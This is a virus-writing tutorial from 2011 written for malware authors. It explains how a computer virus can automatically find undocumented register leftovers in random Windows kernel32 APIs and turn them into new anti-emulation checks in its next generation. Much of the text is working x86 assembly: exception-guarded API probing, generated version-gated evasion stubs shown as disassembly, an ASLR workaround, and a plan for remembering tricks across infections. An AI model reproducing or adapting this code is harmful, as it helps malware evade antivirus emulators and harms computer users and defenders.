

            ****************************************************
               Dynamic Anti-Emulation using Blackbox Analysis
                                    by Second Part To Hell
            ****************************************************



  Index:
  ******

  1) Introduction

  2) Idea

  3) Implementation
  3.1) Finding a random API
  3.2) Getting number of API parameters
  3.3) Analysing the Black-Box API
  3.4) Creating Anti-Emulation Code
  3.5) Examples: Autonomous generated Anti-Emulation Tricks
  3.6) Working around ASLR

  4) Possible extention: Remembering the tricks

  5) Thought experiment: Are we learning?

  6) Conclusion










  1) Introduction

     Viruses are threatened by Emulators. One can use Anti-Emulator tricks to
     avoid emulation, until AVs implement the new trick intro their program -
     so this benefit can not exceed a few hours?

     It can, if the virus can find and implement new Anti-Emulation tricks by
     itself. This text descibes how it can be done.








  2) Idea

     Standard Windows APIs use EAX, ECX, EDX as internal registers; after an
     API call, EAX contains the return value, and ECX & EDX contain
     undocumented leftover values. Gabor Szappanos[1] and Peter Ferrie[2]
     show that these registers are used in Anti-Emulation tricks alot and AVs
     need to analyse and implement each new trick manually.

     Now the idea is to find automatically such leftovers in random APIs, and
     implement a branch in the next generation. The viruscode will only be
     executed if the register values match with the original result.

     If some emulators is not aware of the random API's undocumented leftover
     values, it will be fooled to exit the program. :-)








  3) Implementation

     The basic concept is very simple: 
        -> Search for a random API in a DLL (for instance KERNEL32.DLL)
        -> Find out the number N of its paramaters (a.k.a PUSHes)
        -> Prepare N random parameters
        -> Call API with parameters
        -> Save ECX & EDX
        -> Randomize Registers (leftovers can depend on that)
        -> Call API again with same parameters
        -> Compare ECX & EDX
        -> If equal, create Anti-Emulation Code + write it to next generation


     This is very simple, so just short explanation of some crucial parts.





  3.1) Finding a random API

       First we need to find a random API. This can be very easy using
       ordinal numbers of DLL functions:

       - - - - - - - - - - - - - - - - - -

          push    kernel32            ; Get Kernel32
          stdcall dword[LoadLibrary]   


          call    GetRandomNumber
          mov     eax, dword[RandomNumber]
          and     eax, (0x400 - 1) ; 0-1023
          mov     dword[RandOrdinal], eax

          push    dword[RandOrdinal]
          push    dword[hKernel]
          stdcall dword[GetProcAddress]

          ; address of random API in EAX :)
	
              [...]

          kernel32 db 'kernel32.dll', 0x0

       - - - - - - - - - - - - - - - - - -





  3.2) Getting number of API parameters

       Simple idea: push 16 DWORDs to the stack (no API has more parameters),
       save ESP, call the API, and compare ESP with old ESP:

            number(parameter) = (newESP-oldESP)/4

       Obviously, one can not call random APIs without exception handling.
       The easiest way is Vectorized Exception Handling, which is implemented
       as AddVectoredExceptionHandler and RemoveVectoredExceptionHandler:

       - - - - - - - - - - - - - - - - - -
       macro VEH_TRY c*
       {
               mov     dword[sESP], esp

               push    VEH_Handler#c
               push    0x1
               stdcall dword[AddVectoredExceptionHandler]
               mov     dword[hVEH], eax
       }

       macro VEH_EXCEPTION c*
       {
               mov     dword[bException], 0x0
               jmp     VEH_NoException#c

            VEH_Handler#c:
               mov     esp, dword[sESP]
               mov     dword[bException], 0x1
       }

       macro VEH_END c*
       {
            VEH_NoException#c:
               mov     eax, dword[hVEH]
               push    eax
               stdcall dword[RemoveVectoredExceptionHandler]
       }



        mov     dword[s2ESP], esp       ; Save original ESP
        times 0x10: push 0              ; PUSH 16 parameters

        VEH_TRY FirstRun
        ;{
                stdcall dword[RndFctAddress]   ; try it ;)
        ;}
        VEH_EXCEPTION FirstRun
        ;{                                     ; no success :-/
               mov     esp, dword[s2ESP]       ; restore ESP
        ;}
        VEH_END FirstRun

        cmp     dword[bException], 0x1
        je      SearchRandomAPI


        ; Get Number of arguments used by this random API :)
        mov     eax, esp
        sub     eax, dword[sESP]
        shr     eax, 2                  ; eax/=4 -> number of arguments
        mov     dword[RndFctArguments], eax

        mov     esp, dword[s2ESP]        ; restore ESP      
       - - - - - - - - - - - - - - - - - -

        Number of arguments are in dword[RndFctArguments] now.





  3.3) Analysing the Black-Box API

       What we want to do can be pictured:

                 _________
    random      |         |
    parameter   |         |
   -----------> |  ? ? ?  | \
                |         |  \
                |_________|   \
                               \
                                \
                                  ---> Same ECX & EDX ?
    different registers         /
                 _________     /
    same        |         |   /
    parameter   |         |  /
   -----------> |  ? ? ?  | /
                |         |
                |_________|


       We perform first API call with random parameters, then change
       registers and perform another API call with same parameters:


       - - - - - - - - - - - - - - - - - -
        call    RandomizeArguments
        call    PushNArgumentsToStack

        VEH_TRY RealRun1
        ;{
                stdcall dword[RndFctAddress]        ; Call random API

                mov     dword[RndFct_RV_ECX], ecx   ; save ECX
                mov     dword[RndFct_RV_EDX], edx   ; save EDX
        ;}
        VEH_EXCEPTION RealRun1
        ;{
                mov     esp, dword[s2ESP]           ; restore ESP
        ;}
        VEH_END RealRun1

        cmp     dword[bException], 0x1
        je      ThisIsNoGoodAPI


        ; Run again and compare ECX and EDX (Time-APIs and stuff like that, dependence on register values)
        call    PushNArgumentsToStack

        VEH_TRY RealRun2
        ;{
                call    RandomizeRegisters        ; change EAX, ECX, EDX, EBX to random value

                stdcall dword[RndFctAddress]      ; call random API again

                sub     ecx, dword[RndFct_RV_ECX] ; ECX has to be the same, otherwise it cant be used
                jz      RealRun2ECX_OK

                        xor     eax, eax          ; if not the same:
                        mov     dword[eax], 42    ; throw exception

                RealRun2ECX_OK:
                sub     edx, dword[RndFct_RV_EDX] ; EDX has to be the same as well
                jz      RealRun2EDX_OK

                        xor     eax, eax
                        mov     dword[eax], 42

                RealRun2EDX_OK:
        ;}
        VEH_EXCEPTION RealRun2
        ;{
                mov     esp, dword[s2ESP]         ; restore ESP
        ;}
        VEH_END RealRun2

        cmp     dword[bException], 0x1
        je      ThisIsNoGoodAPI

                ; if we are here, we have a good API with good parameters :)
       - - - - - - - - - - - - - - - - - -





  3.4) Creating Anti-Emulation Code

       We push the arguments, call the API and compare ECX and EDX APIs.
       However, as these leftover values we found are undefined, it is very
       likely that they are dependent on the OS version.

       We can simply overcome the problem by calling GetVersion and comparing
       with the version-number where we found the Anti-Emulation trick.

       The most simple implementation:

       - - - - - - - - - - - - - - - - - -
        call    dword[GetVersion]
        cmp     eax, OS_VERSION
        jne     StartCode           ; if we are on a different OS, we should
                                    ; not perform the test, otherwise the code
                                    ; may not be executed.

        push    parameter1
        push    parameter2
        [...]
        push    parameterN
        call    RandomAPI_Address

        cmp     ecx, ECX_VALUE_FROM_TEST
        je      ECX_OK

                ret

        ECX_OK:

        cmp     edx, EDX_VALUE_FROM_TEST
        je      EDX_OK

                ret

        EDX_OK:

        StartCode:
                ; if we are here, we are most likely not emulated :)
       - - - - - - - - - - - - - - - - - -





  3.5) Examples: Autonomous generated Anti-Emulation Tricks

       Finally - let's have a look at the results!


       That one uses kernel32.Beep:
       - - - - - - - - - - - - - - - - - -
          00402000 > $ FF15 E0304000  CALL DWORD PTR DS:[<&KERNEL32.GetVersion>;  kernel32.GetVersion
          00402006   . 3D 0501280A    CMP EAX,0A280105
          0040200B   . 75 5F          JNZ SHORT ovilslmh.0040206C
          0040200D   . 68 63F8D01F    PUSH 1FD0F863                            ; /Duration = 533788771. ms
          00402012   . 68 601C3A77    PUSH 773A1C60                            ; |Frequency = 773A1C60 (2000297056.)
          00402017   . E8 8B5A437C    CALL kernel32.Beep                       ; \Beep
          0040201C   . 81F9 64FF0600  CMP ECX,6FF64
          00402022   . 74 01          JE SHORT ovilslmh.00402025
          00402024   . C3             RETN
          00402025   > 81FA 14E5917C  CMP EDX,ntdll.KiFastSystemCallRet
          0040202B   . 74 01          JE SHORT ovilslmh.0040202E
          0040202D   . C3             RETN
          0040202E   > 90             NOP
       - - - - - - - - - - - - - - - - - -


       Here we have one with kernel32.WriteTapemark:
       - - - - - - - - - - - - - - - - - -
          00402000 > $ FF15 E0304000  CALL DWORD PTR DS:[<&KERNEL32.GetVersion>;  kernel32.GetVersion
          00402006   . 3D 0501280A    CMP EAX,0A280105
          0040200B   . 75 5F          JNZ SHORT ijczijcj.0040206C
          0040200D   . 68 B5A01E5E    PUSH 5E1EA0B5
          00402012   . 68 4AC3FFA8    PUSH A8FFC34A
          00402017   . 68 BBE2A2B7    PUSH B7A2E2BB
          0040201C   . 68 D8B311A9    PUSH A911B3D8
          00402021   . E8 A2A2467C    CALL kernel32.WriteTapemark
          00402026   . 81F9 61F6917C  CMP ECX,7C91F661
          0040202C   . 74 01          JE SHORT ijczijcj.0040202F
          0040202E   . C3             RETN
          0040202F   > 81FA 07000000  CMP EDX,7
          00402035   . 74 01          JE SHORT ijczijcj.00402038
          00402037   . C3             RETN
          00402038   > 90             NOP
       - - - - - - - - - - - - - - - - - -


       And the third one - kernel32.SetComPlusPackageInstallStatus:
       - - - - - - - - - - - - - - - - - -
          00402000 > $ FF15 E0304000  CALL DWORD PTR DS:[<&KERNEL32.GetVersion>]                ;  kernel32.GetVersion
          00402006   . 3D 0501280A    CMP EAX,0A280105
          0040200B   . 75 5F          JNZ SHORT poxwpade.0040206C
          0040200D   . 68 A0769B27    PUSH 279B76A0
          00402012   . E8 8EAC467C    CALL kernel32.SetComPlusPackageInstallStatus
          00402017   . 81F9 61F6917C  CMP ECX,7C91F661
          0040201D   . 74 01          JE SHORT poxwpade.00402020
          0040201F   . C3             RETN
          00402020   > 81FA 00000000  CMP EDX,0
          00402026   . 74 01          JE SHORT poxwpade.00402029
          00402028   . C3             RETN
          00402029   > 90             NOP
       - - - - - - - - - - - - - - - - - -





  3.6) Working around ASLR

       ASLR means Address Space Layout Randomization, and has been introduced
       in Windows since WinVista. ASLR is used to make exploiting of
       vulnerabilities more difficult, by making addresses of libraries
       (and other things) random in memory.

       This concerns us for two reasons:

       1) ECX or EDX can contain library addresses, which are different
          after next reboot.

       2) The CALLs so far use fixed pointers to kernel32.dll functions.

       Both are very easy to solve:
       ad 1) At creation time, we compare ECX and EDX with kernel-addresse:

       - - - - - - - - - - - - - - - - - -
           mov     eax, dword[RndFct_RV_ECX]
           and     eax, 0xFF00'0000
           mov     ebx, dword[hKernel]
           and     ebx, 0xFF00'0000
           cmp     eax, ebx
           je      NoECX_Kernel
       - - - - - - - - - - - - - - - - - -

       ad2) We use a different Anti-Emulator header, which gets its kernel32
            addresse at runtime using LoadLibrary:

       - - - - - - - - - - - - - - - - - -
          00402000 > $ FF15 E0304000  CALL DWORD PTR DS:[<&KERNEL32.GetVersion>;  kernel32.GetVersion
          00402006   . 3D 0501280A    CMP EAX,0A280105
          0040200B   . 75 6B          JNZ SHORT vencfwbe.00402078
          0040200D   . 68 78104000    PUSH vencfwbe.00401078                   ; /FileName = "kernel32.dll"
          00402012   . FF15 E4304000  CALL DWORD PTR DS:[<&KERNEL32.LoadLibrar>; \LoadLibraryA
          00402018   . 05 271C0600    ADD EAX,61C27
          0040201D   . 68 CC8DA293    PUSH 93A28DCC
          00402022   . 68 15B832DB    PUSH DB32B815
          00402027   . FFD0           CALL EAX
          00402029   . 81FA 01000000  CMP EDX,1
          0040202F   . 74 01          JE SHORT vencfwbe.00402032
          00402031   . C3             RETN
       - - - - - - - - - - - - - - - - - -

       ASLR is no way a problem for us -> Everything fine again :)








  4) Possible extention: Remembering the tricks

     We saw how to autonomous develope new Anti-Emulation tricks. In this
     simple implementation, in every generation we overwrite the old code,
     thus "forget" about the old trick.

     We can save the old trick, and merge it with new tricks. This has some
     nice advantages: When the virus runs at OS1,it creates and saves Trick1.
     Now it arrives at another computer with OS2, and creates Trick2. When
     it "remembers" the old trick, it can create a new Anti-Emulation code
     like this:

       - - - - - - - - - - - - - - - - - -
        call    dword[GetVersion]
        cmp     eax, OS_VERSION1
        jne     NotOS1

                push OS1_Parameters
                call OS1_RandomAPI
                cmp  ecx|edx, ECX1_VALUE|EDX1_VALUE
                je   StartCode

                     ret


        NotOS1:
        cmp     eax, OS_VERSION2
        jne     NotOS2

                push OS2_Parameters
                call OS2_RandomAPI
                cmp  ecx|edx, ECX2_VALUE|EDX2_VALUE
                je   StartCode

                     ret

           [...]

        StartCode:
       - - - - - - - - - - - - - - - - - -

     We can also save more than one Trick per OS. Then we can eigher use
     all of them directly in the code, or use a low number of them and save
     the other Tricks in .data section.

     Advantage: When we travel from OS1 to OS2, and we have N Tricks saved,
                we can vary them even we dont have access to OS1 anymore.
                Varying is an advantage when we found broken tricks, and
                when AVs adapt.

     Even it sounds fancy, it is pretty simple to code. :-)








  5) Thought experiment: Are we learning?

     Let's have a look at Tom Mitchell's widely quoted definition
     of "learning":

                A computer program is said to learn from experience E with
                respect to some class of tasks T and performance measure P,
                if its performance at tasks in T, as measured by P, improves
                with experience E.

     What are E, T and P in our case?

          experience E ... Blackbox analysis of a random API
          task T       ... avoid being emulated
          measure P    ... binary measure: being emulated or not

     It seems very reasonable that the new developed Anti-Emulation tricks
     improve its ability of not being emulated.

     So we have some autonomous learning computer virus. Wow - thats cool :-)








  6) Conclusion

     We know now how a computer virus can analyse its environment and create
     new Anti-Emulation tricks - everything autonomous and very simple.

     I've used the key technique - Blackbox Analysis - already in one other
     project (that time for finding new mutations)[3]; it seems like nobody
     else has ever thought about using this concept in viruses. Therefore I
     suspect that there are several other surprising possibilities that
     should be uncovered one day. :-)



                                                          Second Part To Hell
                                                                 October 2011





[1] Gabor Szappanos, "Okay, so you are a Win32 emulator...", VirusBulletin October 2011.

[2] Peter Ferrie, "Anti-Unpacker Tricks (1)", CARO Workshop, May 2008.
    Peter Ferrie, "Anti-Unpacker Tricks (2)", Virus Bulletin December 2008 - June 2009.
    Peter Ferrie, "Anti-Unpacker Tricks (3)", Virus Bulletin May 2010 - November 2010.

[3] SPTH, "Code Mutations via Behaviour Analysis", Virus Writing Bulletin, December 2010,
    http://vxheavens.com/lib/vsp27.html.
